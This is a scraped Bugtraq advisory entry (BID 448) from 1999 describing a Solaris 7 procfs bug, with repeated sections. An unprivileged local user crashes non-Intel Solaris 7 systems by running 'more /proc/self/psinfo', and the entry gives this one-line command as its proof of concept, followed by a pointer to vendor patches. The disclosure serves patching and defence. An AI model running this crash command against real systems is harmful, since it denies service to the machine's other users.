Solaris procfs Vulnerability
BID:448
Info
Solaris procfs Vulnerability
| Bugtraq ID: | 448 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Mar 09 1999 12:00AM |
| Updated: | Mar 09 1999 12:00AM |
| Credit: | First posted to BugTraq by Toomas Soome <[email protected]> on March 9, 1999. Followup message posted to BugTraq posted by Toomas Soome <[email protected]> on March 11, 1999. |
| Vulnerable: |
Sun Solaris 7.0 |
| Not Vulnerable: |
Sun Solaris 7.0_x86 |
Discussion
Solaris procfs Vulnerability
A nonpriviliged user can crash any 32 or 64 bit non-intel machine running Solaris 7 by executing the following:
more /proc/self/psinfo
This is due to a bug in the Solaris 7 procfs.
A nonpriviliged user can crash any 32 or 64 bit non-intel machine running Solaris 7 by executing the following:
more /proc/self/psinfo
This is due to a bug in the Solaris 7 procfs.
Exploit / POC
Solaris procfs Vulnerability
%more /proc/self/psinfo
[crash]
%more /proc/self/psinfo
[crash]
Solution / Fix
Solaris procfs Vulnerability
Solution:
Patches are available to all Sun customers at http://sunsolve.sun.com
Sun Solaris 7.0
Solution:
Patches are available to all Sun customers at http://sunsolve.sun.com
Sun Solaris 7.0
References
Solaris procfs Vulnerability
References:
References: